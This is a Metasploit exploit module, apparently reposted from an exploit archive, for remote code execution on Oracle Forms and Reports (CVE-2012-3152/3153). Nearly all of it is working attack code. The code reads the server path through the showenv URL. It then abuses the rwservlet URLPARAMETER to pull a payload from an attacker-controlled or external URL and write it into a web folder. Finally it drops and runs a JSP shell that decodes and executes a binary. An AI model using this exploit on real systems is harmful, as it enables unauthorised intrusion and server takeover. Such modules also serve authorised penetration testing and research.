Oracle Forms and Reports Remote Code Execution Exploit

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19.02.2014
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Oracle Forms and Reports
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Oracle Forms and Reports

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'uri'

class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE

Rank = GreatRanking

def initialize(info = {})
super(update_info(info,
'Name' => 'Oracle Forms and Reports Remote Code Execution',
'Description' => %q{
This module uses two vulnerabilities in Oracle forms and reports to get remote code execution
on the host. The showenv url can be used to disclose information about a server. A second
vulnerability that allows arbitrary reading and writing to the host filesystem can then be
used to write a shell from a remote url to a known local path disclosed from the previous
vulnerability.

The local path being accessable from an URL then allows us to perform the remote code
execution using for example a .jsp shell.

Tested on Windows and Oracle Forms and Reports 10.1.
},
'Author' =>
[
'miss_sudo <security[at]netinfiltration.com>', # Vulnerability discovery
'Mekanismen <mattias[at]gotroot.eu>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ "CVE", "2012-3152" ],
[ "CVE", "2012-3153" ],
[ "OSVDB", "86395" ], # Matches CVE-2012-3152
[ "OSVDB", "86394" ], # Matches CVE-2012-3153
[ "EDB", "31253" ],
[ 'URL', "http://netinfiltration.com" ]
],
'Stance' => Msf::Exploit::Stance::Aggressive,
'Platform' => ['win', 'linux'],
'Targets' =>
[
[ 'Linux',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
[ 'Windows',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 15 2014'
))
register_options(
[
OptString.new('EXTURL', [false, 'An external host to request the payload from', "" ]),
OptString.new('PAYDIR', [true, 'The folder to download the payload to', "/images/" ]),
OptInt.new('HTTPDELAY', [false, 'Time that the HTTP Server will wait for the payload request', 10]),
])
end

def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "/reports/rwservlet/showenv"),
'method' => 'GET'
})

if res and res.code == 200
if res.body =~ /\\(.*)\\showenv/
vprint_good "#{peer} - Windows install detected "
path = $1.gsub("\\", "/")
vprint_status "#{peer} - Path: #{path}"
elsif res.body =~ /\/(.*)\/showenv/
vprint_good "#{peer} - Linux install detected"
vprint_status "#{peer} - Path: #{$1}"
else
return Exploit::CheckCode::Safe
end
end

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "/reports/rwservlet"),
'method' => 'GET',
'vars_get' => {
'report' => 'test.rdf',
'desformat' => 'html',
'destype' => 'cache',
'JOBTYPE' => 'rwurl',
'URLPARAMETER' => 'file:///'
}
})

if res and res.code == 200 and res.body.downcase.exclude?("<html>")
vprint_good "#{peer} - URLPARAMETER is vulnerable"
return Exploit::CheckCode::Vulnerable
else
vprint_status "#{peer} - URLPARAMETER is not vulnerable"
return Exploit::CheckCode::Safe
end

return Exploit::CheckCode::Safe
end

def exploit
@payload_url = ""
@payload_name = rand_text_alpha(8+rand(8)) + ".jsp"
@payload_dir = datastore['PAYDIR']
@local_path = ""

print_status "#{peer} - Querying showenv!"
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "/reports/rwservlet/showenv"),
'method' => 'GET',
})

if res and res.code == 200
if res.body =~ /\\(.*)\\showenv/
print_good "#{peer} - Query succeeded!"
print_status "#{peer} - Windows install detected "
@local_path = $1.gsub("\\", "/")
print_status "#{peer} - Path: #{@local_path }"
elsif res.body =~ /\/(.*)\/showenv/
print_good "#{peer} - Query succeeded!"
print_status "#{peer} - Linux install detected"
@local_path = $1
print_status "#{peer} - Path: #{@local_path }"
else
print_status "#{peer} - Query failed"
fail_with(Failure::Unknown, "#{peer} - target is not vulnerable or unreachable")
end
else
fail_with(Failure::Unknown, "#{peer} - target is not vulnerable or unreachable")
end

if datastore['EXTURL'].blank?
print_status "#{peer} - Hosting payload locally ..."
begin
Timeout.timeout(datastore['HTTPDELAY']) {super}
rescue Timeout::Error
end
exec_payload
else
print_status "#{peer} - Using external url for payload delivery ..."
@payload_url = datastore['EXTURL']
upload_payload
exec_payload
end
end

def primer
@payload_url = get_uri
@pl = gen_file_dropper
upload_payload
end

def on_request_uri(cli, request)
send_response(cli, @pl)
end

def upload_payload
print_status "#{peer} - Uploading payload ..."
path = "/#{@local_path}#{@payload_dir}#{@payload_name}"
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "/reports/rwservlet"),
'method' => 'GET',
'encode_params' => false,
'vars_get' => {
'report' => 'test.rdf',
'desformat' => 'html',
'destype' => 'file',
'desname' => path,
'JOBTYPE' => 'rwurl',
'URLPARAMETER' => @payload_url
}
})

if res and res.code == 200
print_good "#{peer} - Payload hopefully uploaded!"
else
print_status "#{peer} - Payload upload failed"
end
end

def gen_file_dropper
big_payload = false #size matters :(

gen_payload_name = rand_text_alpha(8+rand(8))
encoded_pl = Rex::Text.encode_base64(generate_payload_exe)
print_status "#{peer} - Building JSP shell ..."

len = encoded_pl.length
if len >= 60000 #java string size limit ~60k workaround
print_status "#{peer} - Adjusting shell due to payload size"
pl_first = encoded_pl.slice(0, 60000)
pl_second = encoded_pl.slice(60000, len)
big_payload = true
end

#embed our payload
shell = "<%@ page import=\"java.util.*,java.io.*, sun.misc.BASE64Decoder\"%>"
shell += " <%"
shell += " BASE64Decoder decoder = new BASE64Decoder();"
#correct file suffix if windows
if datastore['TARGET'] == 1
shell += " File temp = File.createTempFile(\"#{gen_payload_name}\", \".exe\");"
else
shell += " File temp = File.createTempFile(\"#{gen_payload_name}\", \".tmp\");"
end
shell += " String path = temp.getAbsolutePath();"
if big_payload
shell += " byte [] pl = decoder.decodeBuffer(\"#{pl_first}\");"
shell += " byte [] pltwo = decoder.decodeBuffer(\"#{pl_second}\");"

shell += " BufferedOutputStream ou = new BufferedOutputStream(new FileOutputStream(path));"
shell += " ou.write(pl);"
shell += " ou.close();"

shell += " ou = new BufferedOutputStream(new FileOutputStream(path, true));"
shell += " ou.write(pltwo);"
shell += " ou.close();"
else
shell += " byte [] pl = decoder.decodeBuffer(\"#{encoded_pl}\");"
shell += " BufferedOutputStream ou = new BufferedOutputStream(new FileOutputStream(path));"
shell += " ou.write(pl);"
shell += " ou.close();"
end
#correct rights if linux host
if datastore['TARGET'] == 0
shell += " Process p = Runtime.getRuntime().exec(\"/bin/chmod 700 \" + path);"
shell += " p.waitFor();"
end
shell += " Runtime.getRuntime().exec(path);"
shell += "%>"

return shell
end

def exec_payload
print_status("#{peer} - Our payload is at: /reports#{@payload_dir}#{@payload_name}")
print_status("#{peer} - Executing payload...")

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "reports", @payload_dir, @payload_name),
'method' => 'GET'
})

if res and res.code == 200
print_good("#{peer} - Payload executed!")
else
print_status("#{peer} - Payload execution failed")
end
end
end

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